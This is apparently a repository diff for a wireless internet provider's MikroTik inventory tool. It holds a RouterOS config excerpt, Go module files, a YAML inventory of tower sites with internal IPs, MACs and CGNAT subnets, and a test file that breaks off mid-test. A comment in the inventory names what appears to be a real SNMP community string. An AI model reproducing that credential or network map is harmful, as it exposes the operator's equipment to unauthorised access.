\n| \\ | | ___| |___ _____ _ __| | _____\
\n| \\| |/ _ \\ __\\ \\ /\\ / / _ \\| '__| |/ / __|\
\n| |\\ | __/ |_ \\ V V / (_) | | | <\\__ \\\
\n|_| \\_|\\___|\\__| \\_/\\_/ \\___/|_| |_|\\_\\___/\
\n\
\n###############################################################\
\n# Welcome to Verona Networks #\
\n# All connections are monitored and recorded #\
\n# Disconnect IMMEDIATELY if you are not an authorized user! #\
\n###############################################################\
\n\
\n" show-at-login=no
/system ntp client
set enabled=yes primary-ntp=162.159.200.1 secondary-ntp=45.79.1.70
/system routerboard settings
set auto-upgrade=yes
/system scheduler
add name=reboot on-event="/system reboot\r\
\n" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
start-date=jun/14/2023 start-time=03:00:00
add comment=RWB_IP_RESOLVER interval=5m name=RWB_IP_RESOLVER on-event=\
RWB_IP_RESOLVER policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
start-date=oct/13/2022 start-time=22:59:02
/tool graphing interface
add allow-address=204.110.188.0/22
/tool graphing queue
add allow-address=204.110.188.0/22
/tool graphing resource
add allow-address=204.110.188.0/22
/tool romon
set enabled=yes
/user aaa
set default-group=full

14
mikrotik-tool/go.mod Normal file
View file

@ -0,0 +1,14 @@
module github.com/graham/network/mikrotik-tool
go 1.25.0
require (
github.com/go-routeros/routeros/v3 v3.0.1
golang.org/x/crypto v0.50.0
gopkg.in/yaml.v3 v3.0.1
)
require (
github.com/gosnmp/gosnmp v1.43.2 // indirect
golang.org/x/sys v0.43.0 // indirect
)

21
mikrotik-tool/go.sum Normal file
View file

@ -0,0 +1,21 @@
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/go-routeros/routeros/v3 v3.0.1 h1:FdNKlF6Hst8nkHr0dIvD54pQ+dZ8sHOJfQSVRKz0BFg=
github.com/go-routeros/routeros/v3 v3.0.1/go.mod h1:j4mq65czXfKtHsdLkgVv8w7sNzyhLZy1TKi2zQDMpiQ=
github.com/gosnmp/gosnmp v1.43.2 h1:F9loz6uMCNtIQj0RNO5wz/mZ+FZt2WyNKJYOvw+Zosw=
github.com/gosnmp/gosnmp v1.43.2/go.mod h1:smHIwoaqr1M+HTAEd7+mKkPs8lp3Lf/U+htPUql1Q3c=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
golang.org/x/crypto v0.50.0 h1:zO47/JPrL6vsNkINmLoo/PH1gcxpls50DNogFvB5ZGI=
golang.org/x/crypto v0.50.0/go.mod h1:3muZ7vA7PBCE6xgPX7nkzzjiUq87kRItoJQM1Yo8S+Q=
golang.org/x/sys v0.43.0 h1:Rlag2XtaFTxp19wS8MXlJwTvoh8ArU6ezoyFsMyCTNI=
golang.org/x/sys v0.43.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
golang.org/x/term v0.42.0 h1:UiKe+zDFmJobeJ5ggPwOshJIVt6/Ft0rcfrXZDLWAWY=
golang.org/x/term v0.42.0/go.mod h1:Dq/D+snpsbazcBG5+F9Q1n2rXV8Ma+71xEjTRufARgY=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

1133
mikrotik-tool/inventory.go Normal file

File diff suppressed because it is too large Load diff

View file

@ -0,0 +1,329 @@
# Wireless devices and customer subnet info per tower:
# - access_points: customer-facing APs in the top /24 of the router's
# 10.10.x.0/20 mgmt subnet (per /Users/graham/dev/network/CLAUDE.md:
# "for subnet X.Y.Z.0/20, APs are in X.Y.(Z+15).0/24").
# - backhaul_radios: tower-to-tower link radios with a managed IP in
# the link's 10.250.1.x/29 subnet. Site assignment uses the
# "closest IP to this site's router IP" rule.
# - cgnat_subnet: the customer CGNAT (RFC 6598) /20 or /22 the router
# hands to PPPoE clients, with the router's gateway IP.
#
# Names are the actual SNMP `sysName.0` (1.3.6.1.2.1.1.5.0) values
# pulled with the `kdyyJrT0Mm` community. Most radios only respond to
# SNMP v1; some also accept v2c. Casing/spacing is preserved as-is from
# the radio (e.g. "Climax NW" has two spaces, "lowry nw" is lowercase
# — that's the actual configured hostname on the device).
#
# Last refreshed: 2026-05-07.
sites:
verona:
router: 10.254.254.101
mgmt_subnet: 10.10.0.0/20
cgnat_subnets:
- {subnet: 100.64.0.0/22, gateway: 100.64.3.254}
- {subnet: 100.64.12.0/22, gateway: 100.64.15.254}
- {subnet: 100.64.0.10/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.16/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.17/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.18/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.23/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.11/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.26/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.22/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.21/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.48/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.34/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.20/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.25/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.40/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.41/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.27/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.39/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.14/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.42/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.32/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.29/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.30/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.44/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.24/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.7/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.15/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.6/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.37/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.31/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.45/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.53/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.28/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.12/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.56/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.51/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.35/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.8/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.5/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.13/32, gateway: 100.64.15.253}
access_points:
- {ip: 10.10.15.1, mac: "70:A7:41:4C:A2:E7", name: "Verona 5AC Horn W"}
- {ip: 10.10.15.2, mac: "AC:8B:A9:C4:4C:F0", name: "Verona 5AC Horn NW"}
- {ip: 10.10.15.11, mac: "78:45:58:A2:EC:E4", name: "Verona NW"}
- {ip: 10.10.15.12, mac: "78:45:58:A2:EC:6F", name: "Verona NE"}
- {ip: 10.10.15.13, mac: "70:A7:41:4C:D5:16", name: "Verona S"}
backhaul_radios:
- {ip: 10.250.1.26, mac: "7A:8A:20:5F:48:AA", name: "verona to climax", link: "verona<->climax AF11"}
switches:
- {ip: 10.0.101.10, mac: "C4:AD:34:1A:CA:AF", name: "Verona Server Switch", model: "MikroTik"}
- {ip: 100.64.15.251, mac: "EC:13:B2:64:32:4A", name: "Verona Netonix", model: "Netonix"}
altoga:
parent_router: 10.254.254.101
mgmt_subnet: 10.10.80.0/20
access_points:
- {ip: 10.10.95.20, mac: "04:18:D6:4C:BD:D3", name: "Altoga SW"}
- {ip: 10.10.95.21, mac: "AC:8B:A9:C4:57:5F", name: "Altoga East"}
- {ip: 10.10.95.22, mac: "70:A7:41:4C:A3:84", name: "Altoga North"}
climax:
router: 10.254.254.102
mgmt_subnet: 10.10.16.0/20
cgnat_subnets:
- {subnet: 100.64.4.0/22, gateway: 100.64.7.254}
- {subnet: 100.64.7.234/32, gateway: 100.64.7.235}
- {subnet: 100.64.7.206/32, gateway: 100.64.7.207}
- {subnet: 100.64.7.200/32, gateway: 100.64.7.188}
- {subnet: 100.64.7.95/32, gateway: 100.64.7.219}
- {subnet: 100.64.7.39/32, gateway: 100.64.7.27}
- {subnet: 100.64.7.51/32, gateway: 100.64.7.29}
- {subnet: 100.64.7.52/32, gateway: 100.64.7.217}
- {subnet: 100.64.7.53/32, gateway: 100.64.7.212}
- {subnet: 100.64.7.54/32, gateway: 100.64.7.76}
- {subnet: 100.64.7.93/32, gateway: 100.64.7.7}
- {subnet: 100.64.7.204/32, gateway: 100.64.7.115}
- {subnet: 100.64.7.48/32, gateway: 100.64.7.9}
- {subnet: 100.64.7.59/32, gateway: 100.64.7.41}
- {subnet: 100.64.7.63/32, gateway: 100.64.7.49}
- {subnet: 100.64.7.169/32, gateway: 100.64.7.97}
- {subnet: 100.64.7.223/32, gateway: 100.64.7.30}
- {subnet: 100.64.7.227/32, gateway: 100.64.7.46}
- {subnet: 100.64.7.247/32, gateway: 100.64.7.2}
- {subnet: 100.64.7.244/32, gateway: 100.64.7.13}
- {subnet: 100.64.7.144/32, gateway: 100.64.7.25}
- {subnet: 100.64.7.198/32, gateway: 100.64.7.16}
- {subnet: 100.64.4.1/32, gateway: 100.64.7.186}
- {subnet: 100.64.7.90/32, gateway: 100.64.7.12}
- {subnet: 100.64.7.133/32, gateway: 100.64.7.8}
- {subnet: 100.64.7.145/32, gateway: 100.64.7.14}
- {subnet: 100.64.7.62/32, gateway: 100.64.7.3}
- {subnet: 100.64.7.184/32, gateway: 100.64.7.10}
- {subnet: 100.64.7.21/32, gateway: 100.64.7.36}
- {subnet: 100.64.7.250/32, gateway: 100.64.7.5}
- {subnet: 100.64.7.55/32, gateway: 100.64.7.1}
- {subnet: 100.64.7.249/32, gateway: 100.64.7.4}
access_points:
- {ip: 10.10.31.11, mac: "F4:92:BF:BE:73:CD", name: "Climax NW"}
- {ip: 10.10.31.12, mac: "00:27:22:28:5F:A1", name: "Climax 5.8n NE"}
- {ip: 10.10.31.13, mac: "80:2A:A8:FC:1D:AE", name: "Climax South"}
- {ip: 10.10.31.30, mac: "00:04:56:D5:03:74", name: "Climax NW"}
- {ip: 10.10.31.31, mac: "00:04:56:23:DD:02", name: "climax ne"}
- {ip: 10.10.31.40, mac: "00:27:22:02:C6:3D", name: "PR 900E"}
backhaul_radios:
- {ip: 10.250.1.29, mac: "1A:E8:29:1E:52:16", name: "climax to verona", link: "verona<->climax AF11"}
- {ip: 10.250.1.93, mac: "82:2A:A8:CF:A6:6A", name: "Climax-380 AF24", link: "climax<->core AF24"}
culleoka:
router: 10.254.254.104
mgmt_subnet: 10.10.96.0/20
cgnat_subnets:
- {subnet: 100.64.24.0/22, gateway: 100.64.27.254}
- {subnet: 100.64.25.6/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.7/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.9/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.11/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.12/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.13/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.14/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.15/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.17/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.18/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.19/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.28/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.49/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.3/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.29/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.31/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.42/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.61/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.16/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.20/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.47/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.36/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.33/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.46/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.53/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.32/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.26/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.48/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.25/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.24/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.10/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.30/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.43/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.45/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.21/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.27/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.22/32, gateway: 100.64.27.253}
- {subnet: 100.64.96.0/20, gateway: 100.64.111.254}
access_points:
- {ip: 10.10.111.1, mac: "78:45:58:A0:03:F3", name: "Culleoka SW AC-1"}
- {ip: 10.10.111.2, mac: "78:45:58:A0:03:FC", name: "Culleoka SW AC2"}
- {ip: 10.10.111.11, mac: "78:45:58:A2:EC:F9", name: "Culleoka SE"}
- {ip: 10.10.111.12, mac: "78:45:58:A2:A9:0A", name: "Culleoka sw 120"}
- {ip: 10.10.111.14, mac: "44:D9:E7:A8:58:C9", name: "Culleoka North UBNT"}
- {ip: 10.10.111.30, mac: "00:04:56:D7:AD:0A", name: "culleoka epmp N"}
- {ip: 10.10.111.31, mac: "00:04:56:D7:A9:56", name: "Culleoka ePMP SE"}
- {ip: 10.10.111.32, mac: "00:04:56:D7:A9:86", name: "Culleoka ePMP SW"}
- {ip: 10.10.111.33, mac: "58:C1:7A:73:BF:9E", name: "Culleoka NE"}
- {ip: 10.10.111.34, mac: "58:C1:7A:71:C5:25", name: "Culleoka ePMP SE"}
- {ip: 10.10.111.35, mac: "58:C1:7A:75:46:6E", name: "Culleoka ePMP NW"}
- {ip: 10.10.111.50, mac: "DC:9F:DB:6E:A6:24", name: "Clayton Estates AP "}
- {ip: 10.10.111.60, mac: "44:D9:E7:5A:A8:0E", name: "clayton to culleoka"}
- {ip: 10.10.111.61, mac: "78:8A:20:EC:76:DC", name: "culleoka to clayton"}
backhaul_radios:
- {ip: 10.250.1.10, mac: "7A:8A:20:5F:49:7A", name: null, link: "climax<->culleoka AF11 (disabled)"}
- {ip: 10.250.1.50, mac: "1A:E8:29:1E:B1:EA", name: "Culleoka to 380 11g", link: "culleoka<->core AF11"}
switches:
- {ip: 100.64.27.250, mac: "EC:13:B2:A4:05:CA", name: "Culleoka Switch", model: "Netonix WS-26-400-AC"}
newhope:
router: 10.254.254.108
mgmt_subnet: 10.10.128.0/20
cgnat_subnets:
- {subnet: 100.64.16.0/22, gateway: 100.64.19.254}
- {subnet: 100.64.19.20/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.19/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.18/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.17/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.16/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.15/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.13/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.12/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.9/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.8/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.7/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.6/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.5/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.3/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.10/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.14/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.11/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.2/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.4/32, gateway: 100.64.19.253}
access_points:
- {ip: 10.10.143.11, mac: "58:C1:7A:73:5B:7E", name: "New Hope SE"}
- {ip: 10.10.143.12, mac: "00:04:56:21:E7:B8", name: "New Hope NE"}
- {ip: 10.10.143.13, mac: "58:C1:7A:73:5B:EA", name: "new hope nw"}
- {ip: 10.10.143.14, mac: "58:C1:7A:73:5C:9E", name: "new hope sw"}
backhaul_radios:
- {ip: 10.250.1.58, mac: "7A:8A:20:5F:49:EB", name: "New Hope to Core af11x", link: "newhope<->core AF11"}
- {ip: 10.250.1.109, mac: "82:2A:A8:CF:58:E0", name: "new hope to lowry crossing", link: "lowry<->newhope AF24"}
switches:
- {ip: 100.64.19.252, mac: "DC:2C:6E:B4:77:17", name: "New Hope Switch", model: "MikroTik"}
lowry:
router: 10.254.254.109
mgmt_subnet: 10.10.144.0/20
cgnat_subnets:
- {subnet: 100.64.144.0/20, gateway: 100.64.159.254}
- {subnet: 100.64.158.80/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.78/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.74/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.70/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.77/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.69/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.84/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.79/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.75/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.73/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.82/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.81/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.72/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.76/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.83/32, gateway: 100.64.159.254}
- {subnet: 100.64.158.71/32, gateway: 100.64.159.254}
access_points:
- {ip: 10.10.159.10, mac: "00:04:56:D7:62:F6", name: "Lowry_Crossing_Omni"}
- {ip: 10.10.159.11, mac: "00:04:56:C4:FE:9E", name: "Lowry Crossing NE"}
- {ip: 10.10.159.12, mac: "58:C1:7A:71:A7:A9", name: "Lowry Crossing N"}
- {ip: 10.10.159.13, mac: "58:C1:7A:75:4D:66", name: "lowry nw"}
backhaul_radios:
- {ip: 10.250.1.106, mac: "82:2A:A8:CF:B4:5F", name: "Lowry Crossing to New Hope", link: "lowry<->newhope AF24"}
"982":
router: 10.254.254.110
mgmt_subnet: 10.10.48.0/20
cgnat_subnets:
- {subnet: 100.64.48.0/20, gateway: 100.64.63.254}
- {subnet: 100.64.62.180/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.199/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.191/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.194/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.188/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.184/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.181/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.177/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.189/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.186/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.185/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.190/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.187/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.197/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.193/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.198/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.195/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.183/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.196/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.179/32, gateway: 100.64.63.253}
- {subnet: 100.64.62.178/32, gateway: 100.64.63.253}
access_points:
- {ip: 10.10.63.1, mac: "D0:21:F9:F0:F5:23", name: "982-1"}
- {ip: 10.10.63.2, mac: "F4:92:BF:2F:29:7E", name: "982-2"}
- {ip: 10.10.63.3, mac: "F4:92:BF:2F:29:93", name: "982-3"}
- {ip: 10.10.63.4, mac: "F4:92:BF:2F:29:8F", name: "982-4"}
- {ip: 10.10.63.5, mac: "F4:92:BF:2F:1C:0D", name: "982-5"}
- {ip: 10.10.63.6, mac: "F4:92:BF:2F:08:38", name: "982-6"}
backhaul_radios:
- {ip: 10.250.1.34, mac: "68:D7:9A:A2:03:95", name: "982_380_60 LR", link: "982<->core 60GHz"}
"494":
router: 10.254.254.111
mgmt_subnet: 10.10.160.0/20
cgnat_subnets:
- {subnet: 100.64.160.0/20, gateway: 100.64.175.254}
- {subnet: 100.64.174.214/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.212/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.211/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.210/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.209/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.207/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.205/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.204/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.203/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.202/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.208/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.206/32, gateway: 100.64.175.254}
- {subnet: 100.64.174.213/32, gateway: 100.64.175.254}
access_points:
- {ip: 10.10.175.10, mac: "78:8A:20:AC:C5:32", name: "494-Rocket 2AC Prism"}
- {ip: 10.10.175.11, mac: "58:C1:7A:75:4D:F2", name: "494 ePMP Omni"}
core:
router: 10.254.254.253
mgmt_subnet: 10.10.64.0/20
cgnat_subnets:
- {subnet: 100.64.8.0/22, gateway: 100.64.11.254}
- {subnet: 100.64.11.153/32, gateway: 100.64.11.253}
- {subnet: 100.64.11.150/32, gateway: 100.64.11.253}
- {subnet: 100.64.11.149/32, gateway: 100.64.11.253}
- {subnet: 100.64.11.148/32, gateway: 100.64.11.253}
- {subnet: 100.64.11.146/32, gateway: 100.64.11.253}
- {subnet: 100.64.11.152/32, gateway: 100.64.11.253}
- {subnet: 100.64.11.147/32, gateway: 100.64.11.253}
access_points:
- {ip: 10.10.79.10, mac: "58:C1:7A:73:63:2E", name: "380"}
backhaul_radios:
- {ip: 10.250.1.37, mac: "F4:92:BF:DE:F5:E4", name: "380_982_ 60 LR", link: "982<->core 60GHz"}
- {ip: 10.250.1.53, mac: "1A:E8:29:1E:AD:A3", name: "380 to Culleoka 11g", link: "culleoka<->core AF11"}
- {ip: 10.250.1.61, mac: "7A:8A:20:5F:4A:68", name: "380 to New Hope", link: "newhope<->core AF11"}
- {ip: 10.250.1.90, mac: "82:2A:A8:CF:96:AF", name: "Core to climax", link: "climax<->core AF24"}
switches:
- {ip: 10.250.2.2, mac: "B8:69:F4:12:8E:F8", name: "core to office", model: "MikroTik"}

View file

@ -0,0 +1,218 @@
package main
import (
"net/netip"
"strings"
"testing"
)
// loadSeed prefers inventory.yaml; falls back to radios.yaml during the
// migration window. Tests use whichever the repo currently ships.
func loadSeed(t *testing.T) *seed {
t.Helper()
s, err := loadSeedInventory("inventory.yaml")
if err != nil {
t.Fatalf("loadSeedInventory: %v", err)
}
return s
}
func TestLoadSeedInventory(t *testing.T) {
s := loadSeed(t)
wantSites := []string{"verona", "altoga", "climax", "culleoka", "newhope", "lowry", "982", "494", "core"}
if len(s.Order) != len(wantSites) {
t.Fatalf("site order = %v, want %v", s.Order, wantSites)
}
for i, name := range wantSites {
if s.Order[i] != name {
t.Fatalf("site[%d] = %q, want %q", i, s.Order[i], name)
}
}
verona := s.Sites["verona"]
if verona.Router != "10.254.254.101" {
t.Errorf("verona router = %q", verona.Router)
}
if verona.MgmtSubnet.String() != "10.10.0.0/20" {
t.Errorf("verona mgmt = %q", verona.MgmtSubnet)
}
altoga := s.Sites["altoga"]
if altoga.ParentRouter != "10.254.254.101" {
t.Errorf("altoga parent_router = %q", altoga.ParentRouter)
}
if altoga.Router != "" {
t.Errorf("altoga router = %q, want empty", altoga.Router)
}
// Backhaul link labels indexed by /29.
climax := s.Sites["climax"]
pfx := netip.MustParsePrefix("10.250.1.24/29").Masked()
if got := climax.LinkLabels[pfx]; got != "verona<->climax AF11" {
t.Errorf("climax link for %s = %q", pfx, got)
}
}
func TestTopSlash24(t *testing.T) {
cases := map[string]string{
"10.10.0.0/20": "10.10.15.0/24",
"10.10.16.0/20": "10.10.31.0/24",
"10.10.80.0/20": "10.10.95.0/24",
"10.10.96.0/20": "10.10.111.0/24",
"10.10.128.0/20": "10.10.143.0/24",
"10.10.144.0/20": "10.10.159.0/24",
"10.10.160.0/20": "10.10.175.0/24",
}
for in, want := range cases {
got := topSlash24(netip.MustParsePrefix(in))
if got.String() != want {
t.Errorf("topSlash24(%s) = %s, want %s", in, got, want)
}
}
}
func TestClosestRouterIP(t *testing.T) {
owners := map[netip.Addr]*routerDiscovery{
netip.MustParseAddr("10.250.1.25"): nil,
netip.MustParseAddr("10.250.1.30"): nil,
}
got := closestRouterIP(netip.MustParseAddr("10.250.1.26"), owners)
if got.String() != "10.250.1.25" {
t.Errorf("closest to .26 = %s, want .25", got)
}
got = closestRouterIP(netip.MustParseAddr("10.250.1.29"), owners)
if got.String() != "10.250.1.30" {
t.Errorf("closest to .29 = %s, want .30", got)
}
}
func TestHasCap(t *testing.T) {
cases := []struct {
caps, want string
expect bool
}{
{"bridge", "bridge", true},
{"bridge,router", "bridge", true},
{"bridge,wlan-ap,router,station-only", "wlan-ap", true},
{"bridge,router", "wlan-ap", false},
{"", "bridge", false},
}
for _, c := range cases {
if got := hasCap(c.caps, c.want); got != c.expect {
t.Errorf("hasCap(%q, %q) = %v, want %v", c.caps, c.want, got, c.expect)
}
}
}
func TestCustomerPoolName(t *testing.T) {
want := []string{"verona-cpe", "altoga-cgnat", "cgnat", "cgnat-full", "DHCP_pool3", "customer-stuff"}
dont := []string{"verona-tower-pool", "verona-v6-pd-pool", "altoga-old"}
for _, n := range want {
if !customerPoolName(n) {
t.Errorf("customerPoolName(%q) = false, want true", n)
}
}
for _, n := range dont {
if customerPoolName(n) {
t.Errorf("customerPoolName(%q) = true, want false", n)
}
}
}
func TestPoolRangeContains(t *testing.T) {
p := poolRange{
Lo: netip.MustParseAddr("10.10.0.1"),
Hi: netip.MustParseAddr("10.10.14.254"),
}
if !p.contains(netip.MustParseAddr("10.10.5.5")) {
t.Errorf("expected 10.10.5.5 in range")
}
if p.contains(netip.MustParseAddr("10.10.15.1")) {
t.Errorf("10.10.15.1 should be outside")
}
}
func TestCollectSwitches(t *testing.T) {
d := &routerDiscovery{
Router: Router{Name: "culleoka", Host: "10.254.254.104"},
OwnIP: netip.MustParseAddr("10.254.254.104"),
Addresses: []addrEntry{
// directly-connected subnets we accept switches on
{Prefix: netip.MustParsePrefix("10.10.96.0/20")},
{Prefix: netip.MustParsePrefix("100.64.24.0/22")},
},
Neighbors: []neighborEntry{
// Real Netonix switch on a directly-connected /22 — include.
{Addr: netip.MustParseAddr("100.64.27.250"), MAC: "EC:13:B2:A4:05:CA",
Identity: "Culleoka Switch", Platform: "Netonix WS-26-400-AC", Caps: "bridge"},
// AP radio — wlan-ap capability, exclude.
{Addr: netip.MustParseAddr("10.10.111.11"), MAC: "78:45:58:A2:EC:F9",
Identity: "Culleoka SE", Platform: "EPMP3000", Caps: "bridge,wlan-ap,router,station-only"},
// Customer-side LAN — outside our address space, exclude.
{Addr: netip.MustParseAddr("192.168.1.5"), MAC: "18:FD:74:8F:0C:06",
Identity: "Customer Router", Platform: "MikroTik", Caps: "bridge,router"},
// Leaked via tunnel — IP not in any directly-connected prefix, exclude.
{Addr: netip.MustParseAddr("10.250.2.2"), MAC: "B8:69:F4:12:8E:F8",
Identity: "core to office", Platform: "MikroTik", Caps: "bridge,router"},
// One of our other routers — exclude via routerIPs map.
